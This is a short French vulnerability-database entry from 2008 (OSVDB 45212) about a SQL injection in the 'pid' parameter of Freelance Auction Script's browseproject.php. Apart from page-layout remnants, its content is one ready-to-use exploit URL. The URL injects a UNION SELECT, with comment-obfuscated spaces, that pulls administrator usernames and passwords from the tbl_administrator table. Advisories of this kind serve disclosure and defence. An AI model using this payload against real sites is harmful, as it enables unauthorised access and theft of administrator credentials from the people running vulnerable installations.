 |
|
|
|
| Détail d'une fiche vulnérabilité |
| |
 |
|
Freelance Auction Script browseproject.php pid Variable SQL Injection |
|
|
Fiche créée le 2008-05-16 02:35:23, dernière mise à jour le 2008-05-16 03:57:56
http://[target]/browseproject.php?mode=pdetails&pid=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/**/FROM/**/tbl_administrator/*
|
| |
| |
| |
| Référances externes : |
| OSVDB 45212 |
| |
| |
| |
| |
|
|
|
